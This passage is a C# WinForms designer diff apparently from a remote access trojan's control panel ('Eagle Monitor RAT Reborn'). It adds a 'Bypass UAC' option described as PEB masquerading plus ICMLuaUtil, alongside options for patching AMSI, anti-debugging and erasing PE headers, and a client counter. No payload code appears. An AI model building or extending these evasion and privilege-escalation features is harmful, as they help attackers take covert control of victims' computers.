+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle34 = new System.Windows.Forms.DataGridViewCellStyle();
this.mainGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl();
this.tabPage1 = new System.Windows.Forms.TabPage();
this.guna2VScrollBar1 = new Guna.UI2.WinForms.Guna2VScrollBar();
@@ -116,6 +116,7 @@ private void InitializeComponent()
this.label14 = new System.Windows.Forms.Label();
this.tabPage13 = new System.Windows.Forms.TabPage();
this.guna2GroupBox3 = new Guna.UI2.WinForms.Guna2GroupBox();
+ this.bypassICMLuaUtilGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();
this.antiDebugGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();
this.erasePEHeadersGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();
this.patchAMSIGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();
@@ -182,6 +183,7 @@ private void InitializeComponent()
this.versionLabel = new System.Windows.Forms.Label();
this.logoPictureBox = new System.Windows.Forms.PictureBox();
this.patchToolTip = new System.Windows.Forms.ToolTip(this.components);
+ this.totalClientLabel = new System.Windows.Forms.Label();
this.mainGuna2TabControl.SuspendLayout();
this.tabPage1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.clientDataGridView)).BeginInit();
@@ -228,12 +230,11 @@ private void InitializeComponent()
this.mainGuna2TabControl.Controls.Add(this.tabPage4);
this.mainGuna2TabControl.Controls.Add(this.tabPage5);
this.mainGuna2TabControl.Controls.Add(this.tabPage10);
- this.mainGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill;
this.mainGuna2TabControl.ItemSize = new System.Drawing.Size(186, 40);
this.mainGuna2TabControl.Location = new System.Drawing.Point(2, 32);
this.mainGuna2TabControl.Name = "mainGuna2TabControl";
this.mainGuna2TabControl.SelectedIndex = 0;
- this.mainGuna2TabControl.Size = new System.Drawing.Size(1102, 451);
+ this.mainGuna2TabControl.Size = new System.Drawing.Size(1102, 410);
this.mainGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty;
this.mainGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro;
this.mainGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F);
@@ -262,7 +263,7 @@ private void InitializeComponent()
this.tabPage1.Controls.Add(this.clientDataGridView);
this.tabPage1.Location = new System.Drawing.Point(4, 4);
this.tabPage1.Name = "tabPage1";
- this.tabPage1.Size = new System.Drawing.Size(908, 443);
+ this.tabPage1.Size = new System.Drawing.Size(908, 402);
this.tabPage1.TabIndex = 0;
this.tabPage1.Text = "Clients";
//
@@ -275,7 +276,7 @@ private void InitializeComponent()
this.guna2VScrollBar1.Location = new System.Drawing.Point(890, 0);
this.guna2VScrollBar1.Name = "guna2VScrollBar1";
this.guna2VScrollBar1.ScrollbarSize = 18;
- this.guna2VScrollBar1.Size = new System.Drawing.Size(18, 443);
+ this.guna2VScrollBar1.Size = new System.Drawing.Size(18, 402);
this.guna2VScrollBar1.TabIndex = 8;
this.guna2VScrollBar1.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));
//
@@ -289,14 +290,14 @@ private void InitializeComponent()
this.clientDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.clientDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.clientDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
- dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
- dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
- dataGridViewCellStyle1.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
- dataGridViewCellStyle1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
- dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight;
- dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
- dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
- this.clientDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1;
+ dataGridViewCellStyle25.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
+ dataGridViewCellStyle25.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
+ dataGridViewCellStyle25.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
+ dataGridViewCellStyle25.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
+ dataGridViewCellStyle25.SelectionBackColor = System.Drawing.SystemColors.Highlight;
+ dataGridViewCellStyle25.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
+ dataGridViewCellStyle25.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
+ this.clientDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle25;
this.clientDataGridView.ColumnHeadersHeight = 36;
this.clientDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
this.Column1,
@@ -318,14 +319,14 @@ private void InitializeComponent()
this.clientDataGridView.Name = "clientDataGridView";
this.clientDataGridView.ReadOnly = true;
this.clientDataGridView.RowHeadersVisible = false;
- dataGridViewCellStyle5.BackColor = System.Drawing.Color.White;
- dataGridViewCellStyle5.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
- dataGridViewCellStyle5.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
- dataGridViewCellStyle5.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));
- this.clientDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle5;
+ dataGridViewCellStyle29.BackColor = System.Drawing.Color.White;
+ dataGridViewCellStyle29.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
+ dataGridViewCellStyle29.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
+ dataGridViewCellStyle29.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));
+ this.clientDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle29;
this.clientDataGridView.RowTemplate.Height = 26;
this.clientDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
- this.clientDataGridView.Size = new System.Drawing.Size(908, 443);
+ this.clientDataGridView.Size = new System.Drawing.Size(908, 402);
this.clientDataGridView.TabIndex = 5;
this.clientDataGridView.TabStop = false;
this.clientDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.dataGridView1_MouseUp);
@@ -333,11 +334,11 @@ private void InitializeComponent()
// Column1
//
this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
- dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
- dataGridViewCellStyle2.ForeColor = System.Drawing.Color.White;
- dataGridViewCellStyle2.NullValue = null;
- dataGridViewCellStyle2.Padding = new System.Windows.Forms.Padding(15, 2, 2, 2);
- this.Column1.DefaultCellStyle = dataGridViewCellStyle2;
+ dataGridViewCellStyle26.BackColor = System.Drawing.Color.White;
+ dataGridViewCellStyle26.ForeColor = System.Drawing.Color.White;
+ dataGridViewCellStyle26.NullValue = null;
+ dataGridViewCellStyle26.Padding = new System.Windows.Forms.Padding(15, 2, 2, 2);
+ this.Column1.DefaultCellStyle = dataGridViewCellStyle26;
this.Column1.FillWeight = 12F;
this.Column1.HeaderText = "Country";
this.Column1.Name = "Column1";
@@ -347,8 +348,8 @@ private void InitializeComponent()
// Column2
//
this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
- dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
- this.Column2.DefaultCellStyle = dataGridViewCellStyle3;
+ dataGridViewCellStyle27.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
+ this.Column2.DefaultCellStyle = dataGridViewCellStyle27;
this.Column2.FillWeight = 25F;
this.Column2.HeaderText = "HWID";
this.Column2.Name = "Column2";
@@ -358,8 +359,8 @@ private void InitializeComponent()
// Column3
//
this.Column3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
- dataGridViewCellStyle4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
- this.Column3.DefaultCellStyle = dataGridViewCellStyle4;
+ dataGridViewCellStyle28.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
+ this.Column3.DefaultCellStyle = dataGridViewCellStyle28;
this.Column3.FillWeight = 18F;
this.Column3.HeaderText = "IP";
this.Column3.Name = "Column3";
@@ -616,14 +617,14 @@ private void InitializeComponent()
this.hostsDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.hostsDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.hostsDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
- dataGridViewCellStyle6.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
- dataGridViewCellStyle6.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
- dataGridViewCellStyle6.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
- dataGridViewCellStyle6.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
- dataGridViewCellStyle6.SelectionBackColor = System.Drawing.SystemColors.Highlight;
- dataGridViewCellStyle6.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
- dataGridViewCellStyle6.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
- this.hostsDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle6;
+ dataGridViewCellStyle15.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
+ dataGridViewCellStyle15.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
+ dataGridViewCellStyle15.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
+ dataGridViewCellStyle15.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
+ dataGridViewCellStyle15.SelectionBackColor = System.Drawing.SystemColors.Highlight;
+ dataGridViewCellStyle15.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
+ dataGridViewCellStyle15.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
+ this.hostsDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle15;
this.hostsDataGridView.ColumnHeadersHeight = 36;
this.hostsDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
this.Column22,
@@ -636,11 +637,11 @@ private void InitializeComponent()
this.hostsDataGridView.Name = "hostsDataGridView";
this.hostsDataGridView.ReadOnly = true;
this.hostsDataGridView.RowHeadersVisible = false;
- dataGridViewCellStyle8.BackColor = System.Drawing.Color.White;
- dataGridViewCellStyle8.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
- dataGridViewCellStyle8.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
- dataGridViewCellStyle8.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));
- this.hostsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle8;
+ dataGridViewCellStyle30.BackColor = System.Drawing.Color.White;
+ dataGridViewCellStyle30.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
+ dataGridViewCellStyle30.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
+ dataGridViewCellStyle30.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));
+ this.hostsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle30;
this.hostsDataGridView.RowTemplate.Height = 26;
this.hostsDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.hostsDataGridView.Size = new System.Drawing.Size(762, 198);
@@ -651,8 +652,8 @@ private void InitializeComponent()
// Column22
//
this.Column22.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
- dataGridViewCellStyle7.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
- this.Column22.DefaultCellStyle = dataGridViewCellStyle7;
+ dataGridViewCellStyle19.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
+ this.Column22.DefaultCellStyle = dataGridViewCellStyle19;
this.Column22.FillWeight = 18F;
this.Column22.HeaderText = "Host";
this.Column22.Name = "Column22";
@@ -1364,6 +1365,7 @@ private void InitializeComponent()
this.guna2GroupBox3.Anchor = System.Windows.Forms.AnchorStyles.None;
this.guna2GroupBox3.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
this.guna2GroupBox3.BorderThickness = 0;
+ this.guna2GroupBox3.Controls.Add(this.bypassICMLuaUtilGuna2CheckBox);
this.guna2GroupBox3.Controls.Add(this.antiDebugGuna2CheckBox);
this.guna2GroupBox3.Controls.Add(this.erasePEHeadersGuna2CheckBox);
this.guna2GroupBox3.Controls.Add(this.patchAMSIGuna2CheckBox);
@@ -1378,6 +1380,27 @@ private void InitializeComponent()
this.guna2GroupBox3.TabIndex = 32;
this.guna2GroupBox3.Text = "Special";
//
+ // bypassICMLuaUtilGuna2CheckBox
+ //
+ this.bypassICMLuaUtilGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None;
+ this.bypassICMLuaUtilGuna2CheckBox.Animated = true;
+ this.bypassICMLuaUtilGuna2CheckBox.AutoSize = true;
+ this.bypassICMLuaUtilGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));
+ this.bypassICMLuaUtilGuna2CheckBox.CheckedState.BorderRadius = 0;
+ this.bypassICMLuaUtilGuna2CheckBox.CheckedState.BorderThickness = 0;
+ this.bypassICMLuaUtilGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));
+ this.bypassICMLuaUtilGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));
+ this.bypassICMLuaUtilGuna2CheckBox.Location = new System.Drawing.Point(0, 147);
+ this.bypassICMLuaUtilGuna2CheckBox.Name = "bypassICMLuaUtilGuna2CheckBox";
+ this.bypassICMLuaUtilGuna2CheckBox.Size = new System.Drawing.Size(87, 17);
+ this.bypassICMLuaUtilGuna2CheckBox.TabIndex = 34;
+ this.bypassICMLuaUtilGuna2CheckBox.Text = "Bypass UAC";
+ this.patchToolTip.SetToolTip(this.bypassICMLuaUtilGuna2CheckBox, "This bypass UAC technique use PEB masquerading + ICMLuaUtil.");
+ this.bypassICMLuaUtilGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
+ this.bypassICMLuaUtilGuna2CheckBox.UncheckedState.BorderRadius = 0;
+ this.bypassICMLuaUtilGuna2CheckBox.UncheckedState.BorderThickness = 0;
+ this.bypassICMLuaUtilGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
+ //
// antiDebugGuna2CheckBox
//
this.antiDebugGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None;
@@ -1607,14 +1630,14 @@ private void InitializeComponent()
this.logsDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.logsDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.logsDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
- dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
- dataGridViewCellStyle9.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
- dataGridViewCellStyle9.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
- dataGridViewCellStyle9.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
- dataGridViewCellStyle9.SelectionBackColor = System.Drawing.SystemColors.Highlight;
- dataGridViewCellStyle9.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
- dataGridViewCellStyle9.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
- this.logsDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle9;
+ dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
+ dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
+ dataGridViewCellStyle1.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
+ dataGridViewCellStyle1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
+ dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight;
+ dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
+ dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
+ this.logsDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1;
this.logsDataGridView.ColumnHeadersHeight = 36;
this.logsDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
this.Column11,
@@ -1632,11 +1655,11 @@ private void InitializeComponent()
this.logsDataGridView.Name = "logsDataGridView";
this.logsDataGridView.ReadOnly = true;
this.logsDataGridView.RowHeadersVisible = false;
- dataGridViewCellStyle12.BackColor = System.Drawing.Color.White;
- dataGridViewCellStyle12.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));
- dataGridViewCellStyle12.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
- dataGridViewCellStyle12.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
- this.logsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle12;
+ dataGridViewCellStyle32.BackColor = System.Drawing.Color.White;
+ dataGridViewCellStyle32.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));
+ dataGridViewCellStyle32.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
+ dataGridViewCellStyle32.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
+ this.logsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle32;
this.logsDataGridView.RowTemplate.Height = 26;
this.logsDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.logsDataGridView.Size = new System.Drawing.Size(908, 443);
@@ -1646,8 +1669,8 @@ private void InitializeComponent()
// Column11
//
this.Column11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
- dataGridViewCellStyle10.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
- this.Column11.DefaultCellStyle = dataGridViewCellStyle10;
+ dataGridViewCellStyle20.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
+ this.Column11.DefaultCellStyle = dataGridViewCellStyle20;
this.Column11.FillWeight = 25F;
this.Column11.HeaderText = "HWID";
this.Column11.Name = "Column11";
@@ -1657,8 +1680,8 @@ private void InitializeComponent()
// Column12
//
this.Column12.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
- dataGridViewCellStyle11.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
- this.Column12.DefaultCellStyle = dataGridViewCellStyle11;
+ dataGridViewCellStyle31.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
+ this.Column12.DefaultCellStyle = dataGridViewCellStyle31;
this.Column12.FillWeight = 18F;
this.Column12.HeaderText = "IP";
this.Column12.Name = "Column12";
@@ -2176,14 +2199,14 @@ private void InitializeComponent()
this.tasksDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.tasksDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.tasksDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
- dataGridViewCellStyle13.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
- dataGridViewCellStyle13.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
- dataGridViewCellStyle13.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
- dataGridViewCellStyle13.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
- dataGridViewCellStyle13.SelectionBackColor = System.Drawing.SystemColors.Highlight;
- dataGridViewCellStyle13.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
- dataGridViewCellStyle13.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
- this.tasksDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle13;
+ dataGridViewCellStyle33.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
+ dataGridViewCellStyle33.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
+ dataGridViewCellStyle33.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
+ dataGridViewCellStyle33.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
+ dataGridViewCellStyle33.SelectionBackColor = System.Drawing.SystemColors.Highlight;
+ dataGridViewCellStyle33.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
+ dataGridViewCellStyle33.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
+ this.tasksDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle33;
this.tasksDataGridView.ColumnHeadersHeight = 36;
this.tasksDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
this.Column20,
@@ -2196,11 +2219,11 @@ private void InitializeComponent()
this.tasksDataGridView.Name = "tasksDataGridView";
this.tasksDataGridView.ReadOnly = true;
this.tasksDataGridView.RowHeadersVisible = false;
- dataGridViewCellStyle14.BackColor = System.Drawing.Color.White;
- dataGridViewCellStyle14.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));
- dataGridViewCellStyle14.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
- dataGridViewCellStyle14.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
- this.tasksDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle14;
+ dataGridViewCellStyle34.BackColor = System.Drawing.Color.White;
+ dataGridViewCellStyle34.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));
+ dataGridViewCellStyle34.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
+ dataGridViewCellStyle34.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
+ this.tasksDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle34;
this.tasksDataGridView.RowTemplate.Height = 26;
this.tasksDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.tasksDataGridView.Size = new System.Drawing.Size(739, 332);
@@ -2316,10 +2339,10 @@ private void InitializeComponent()
this.panel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));
this.panel1.Controls.Add(this.guna2Panel5);
this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom;
- this.panel1.Location = new System.Drawing.Point(2, 483);
+ this.panel1.Location = new System.Drawing.Point(2, 472);
this.panel1.Name = "panel1";
this.panel1.Padding = new System.Windows.Forms.Padding(0, 2, 0, 0);
- this.panel1.Size = new System.Drawing.Size(1102, 39);
+ this.panel1.Size = new System.Drawing.Size(1102, 50);
this.panel1.TabIndex = 6;
//
// guna2Panel5
@@ -2327,20 +2350,21 @@ private void InitializeComponent()
this.guna2Panel5.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.guna2Panel5.BackColor = System.Drawing.Color.White;
+ this.guna2Panel5.Controls.Add(this.totalClientLabel);
this.guna2Panel5.Controls.Add(this.githubPictureBox);
this.guna2Panel5.Controls.Add(this.portLabel);
this.guna2Panel5.Location = new System.Drawing.Point(0, 2);
this.guna2Panel5.Name = "guna2Panel5";
- this.guna2Panel5.Size = new System.Drawing.Size(1102, 37);
+ this.guna2Panel5.Size = new System.Drawing.Size(1102, 48);
this.guna2Panel5.TabIndex = 3;
//
// githubPictureBox
//
this.githubPictureBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
this.githubPictureBox.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.github_2x;
- this.githubPictureBox.Location = new System.Drawing.Point(1067, 1);
+ this.githubPictureBox.Location = new System.Drawing.Point(1057, 6);
this.githubPictureBox.Name = "githubPictureBox";
- this.githubPictureBox.Size = new System.Drawing.Size(35, 35);
+ this.githubPictureBox.Size = new System.Drawing.Size(36, 36);
this.githubPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.githubPictureBox.TabIndex = 9;
this.githubPictureBox.TabStop = false;
@@ -2355,7 +2379,7 @@ private void InitializeComponent()
this.portLabel.AutoSize = true;
this.portLabel.BackColor = System.Drawing.Color.Transparent;
this.portLabel.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80)))));
- this.portLabel.Location = new System.Drawing.Point(3, 12);
+ this.portLabel.Location = new System.Drawing.Point(3, 6);
this.portLabel.Name = "portLabel";
this.portLabel.Size = new System.Drawing.Size(16, 13);
this.portLabel.TabIndex = 8;
@@ -2387,6 +2411,18 @@ private void InitializeComponent()
this.logoPictureBox.TabStop = false;
this.logoPictureBox.MouseDown += new System.Windows.Forms.MouseEventHandler(this.logoPictureBox_MouseDown);
//
+ // totalClientLabel
+ //
+ this.totalClientLabel.AutoSize = true;
+ this.totalClientLabel.BackColor = System.Drawing.Color.Transparent;
+ this.totalClientLabel.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80)))));
+ this.totalClientLabel.Location = new System.Drawing.Point(3, 29);
+ this.totalClientLabel.Name = "totalClientLabel";
+ this.totalClientLabel.Size = new System.Drawing.Size(16, 13);
+ this.totalClientLabel.TabIndex = 10;
+ this.totalClientLabel.Text = "...";
+ this.totalClientLabel.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
